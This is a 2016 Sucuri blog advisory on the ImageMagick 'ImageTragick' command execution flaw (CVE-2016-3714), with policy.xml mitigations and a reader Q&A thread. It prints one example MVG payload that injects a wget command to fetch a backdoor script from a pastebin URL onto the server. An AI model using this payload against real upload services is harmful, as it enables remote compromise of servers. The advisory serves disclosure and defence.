• Skip to primary navigation
  • Skip to content
  • Skip to primary sidebar
  • Skip to footer

Sucuri Blog

Website Security News

  • Products
    • Website Security Platform
    • Website Firewall (WAF)
    • Enterprise Website Security
    • Multisite Solutions
  • Features
    • Detection
    • Protection
    • Performance
    • Response
    • Backups
  • Partners
    • Agency Solutions
    • Partners
    • Referral Program
    • Ecommerce
  • Resources
    • Guides
    • Webinars
    • Infographics
    • SiteCheck
    • Reports
    • Email Courses
  • Immediate Help
  • Login

ImageMagick Remote Command Execution Vulnerability

May 4, 2016Daniel CidEspanolPortugues

FacebookTwitterSubscribe

ImageMagick is a popular software used to convert, edit and manipulate images. It has libraries for all common programming languages, including PHP, Python, Ruby and many others. It is also very simple to use, which lead it to be used by many developers when in need of image cropping or manipulation.

However, the latest versions of ImageMagick doesn’t properly filter the file names that get passed to the internal delegates that handle external protocols (like HTTPS). This allows an attacker to execute his own commands remotely by uploading an image. This leads to a full RCE (remote command execution) vulnerability in your image uploader. The vulnerability is so serious that researchers created a fun nick name for it which is easier to remember than just CVE-2016-3714: ImageTragick.

Vulnerability Details

Since the initial partial disclosure of this vulnerability our research team has been 100% focused on trying to create a workable proof of concept to understand the exploit and test our own protections against it. After many hours and some great help from the security community, we were able understand the vulnerability enough to create a simple PHP upload tool that uses ImageMagick, and the exploit to compromise it (hat tip to Cosmin, one our developers that help the research team there).

The vulnerability is very simple to exploit, an attacker only needs a image uploader tool that leverages ImageMagick. During our research we found many popular web applications and SaaS products vulnerable to it (people love gravatars), and we have been contacting them privately to get things patched. Unfortunately, even with all the media attention, not everyone is aware of this issue.

Going into a bit more details, this vulnerability can actually be divided in 4 different issues (or maybe 5, depending on who you ask), that is very well explained by Karim Valiev from the Mail.Ru Security Team here. So summarize, this is what we have to be aware:

  1. Remote command execution on .mvg/.svg file uploads. By proving a malicious file, an attacker can force a shell command to be executed on the server. This is a very simple example being shared lately:
    image Over 0,0 1,1 'url(https:";wget "http://pastebin.com/raw/badpastebin" -O /home/vhosts/file/backdoor.pl")'

    When that gets added to a MVG file, the wget command is executed and the output of the pastebin file saved on backdoor.pl.

  2. Remote file deletion. When using the “ephemeral:/” protocol, an attacker can remove files on the server
  3. Remote file moving: Similar to the file deletion issue, but when using the “msl:/” pseudo protocol, the attacker can move files around
  4. File content disclosure when using the “label:@” protocol.

When combining all these issues, the attackers have a wide range of options and tools to compromise a web application that leverages ImageMagick. Note that only filtering for MGV extension is not enough, as any file format will be inspected and the command executed.

I suspect a lot more vulnerabilities within ImageMagick will be found soon as more researchers are looking at it.

Also note that the latest signatures set for ModSecurity and others IDS tools do not detect or block this issue. We updated our WAF last night to virtually patch this vulnerability, users behind the Sucuri Firewall are now protected. We also went back looking for previous attacks and we didn’t see any in the wild, yet. That will likely change soon as attackers build their own exploits.

Protection

Users behind our WAF are already protected against this vulnerability, but we still recommend everyone to follow the ImageMagick developers recommendation and edit the /etc/ImageMagick/policy.xml file and disable the processing of MVG, HTTPS, EPHEMERAL, and MSL commands within image files. In the section, add the following lines:

<policymap>
...
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>"

If you can not make those changes, I recommend disabling the image upload functionality for now until you can properly patch. Better safe than sorry.

FacebookTwitterSubscribe

Categories: Security Advisory, Security Education, Vulnerability DisclosureTags: Malware Updates, Zero-Day

About Daniel Cid

Daniel B. Cid is Founder of Sucuri and the VP of Engineering for the GoDaddy Security Products group. He is also the founder of OSSEC and CleanBrowsing. You can find more about Daniel on his site dcid.me or on Twitter: @danielcid

Reader Interactions

Comments

  1. MirceaBurdusa

    May 4, 2016

    Can this vulnerability be exploited on an website where nobody except the administrators can upload images to the servers?

    • Daniel Cid

      May 4, 2016

      Nope, unless one of the admins try to exploit the site or there is some type of CSRF vuln in there as well.

      • MirceaBurdusa

        May 4, 2016

        Well, I was interested only in the websites where only I am administrator. And I don’t think there are CSRF vulnerabilities.

        Thank you for your fast response!

        • Daniel Cid

          May 4, 2016

          So you are safe. But, still recommend to apply the security patches just in case.

          • MirceaBurdusa

            May 4, 2016

            I am using WordPress, so I am waiting for updates from developers, if that’s the case. I just wanted to know if I am safe until those updates hit.

            I don’t have an ImageMagik folder in my etc folder on my shared host to apply the protection outlined in this post.

          • cfc

            May 4, 2016

            ImageMagick is not part of WordPress, it is a separate piece of software that runs on your server. No update to WordPress is going to be able to address this. You need your server administrator to make changes to the ImageMagick config file, as detailed in the article. If you’re on a shared host, you’ll probably have to take it up with your hosting company’s customer service department and cross your fingers.

          • NonMagicalMagick

            May 4, 2016

            Do you know if you need to restart PHP for the policy to update or is it instant?

          • Laurence 'GreenReaper' Parry

            May 4, 2016

            You should only need to restart PHP if ImageMagick is being used as a library, rather than as a program (e.g. the ‘convert’ command). That said, restarting PHP is typically a quick operation, so unless it’s going to cause a serious performance issue for you (because of cache clearing, for example), I’d say go for it.

          • cfc

            May 4, 2016

            Not 100% sure on that, but it likely depends on your server setup and how you’re running PHP. It can’t hurt to restart your web server to be sure, though.

          • Daniel Cid

            May 4, 2016

            Yes, you need to restart your webserver (or PHP if you are using php-fpm)

          • MirceaBurdusa

            May 4, 2016

            I just contacted the server administrator to see if they know about this and what they did to mitigate this risk. Thank you for your help!

          • Daniel Cid

            May 4, 2016

            WordPress has support for it and may use ImageMagick if PHP supports it and GD is disabled. But yes, updating WordPress won’t likely do much.

  2. George Liu

    May 4, 2016

    Thanks Daniel 🙂

  3. Brian J King

    May 4, 2016

    Just as another note – on my CentOS6 server the ImageMagick policy file appears to be located at /usr/local/etc/ImageMagick-6/policy.xml

  4. Daniel Cid

    May 4, 2016

    Great point. We had all 5 in there, but one was not properly encoded. Should be ok now.

    thanks!

  5. Kailash

    May 5, 2016

    I believe only Linux servers are affected by this vulnerability or do you need to patch Windows servers as well?

    • Daniel Cid

      May 7, 2016

      I have not tested on Windows to confirm. But if you have ImageMagick running in there, do patch it just in case.

    • Talib Mukadam

      May 17, 2016

      I have tried to exploit this vulnerability on windows servers and they are also affected.

  6. bugggbear

    May 7, 2016

    What about older ImageMagick versions, in concrete 6.2.8 which is shipped with Centos 5.x , and there is no policy.xml at all ?

Primary Sidebar

Socialize With Sucuri

We're actively engaged across multiple platforms. Follow us and let's connect!

  • Facebook
  • Twitter
  • LinkedIn
  • YouTube
  • Instagram
  • RSS Feed

Join Over 20,000 Subscribers!

Sucuri Sidebar Malware Removal to Signup Page

Footer

Products

  • Website Firewall
  • Website AntiVirus
  • Website Backups
  • WordPress Security
  • Enterprise Services

Solutions

  • DDos Protection
  • Malware Detection
  • Malware Removal
  • Malware Prevention
  • Blacklist Removal

Support

  • Blog
  • Knowledge Base
  • SiteCheck
  • Research Labs
  • FAQ

Company

  • About
  • Media
  • Events
  • Employment
  • Contact
  • Testimonials
  • Facebook
  • Twitter
  • LinkedIn
  • Instagram

Customer Login

Sucuri Home

  • Terms of Use
  • Privacy Policy
  • Frequently Asked Questions

© 2023 Sucuri Inc. All rights reserved

Sucuri Cookie Policy
See our policy>>

Our website uses cookies, which help us to improve our site and enables us to deliver the best possible service and customer experience.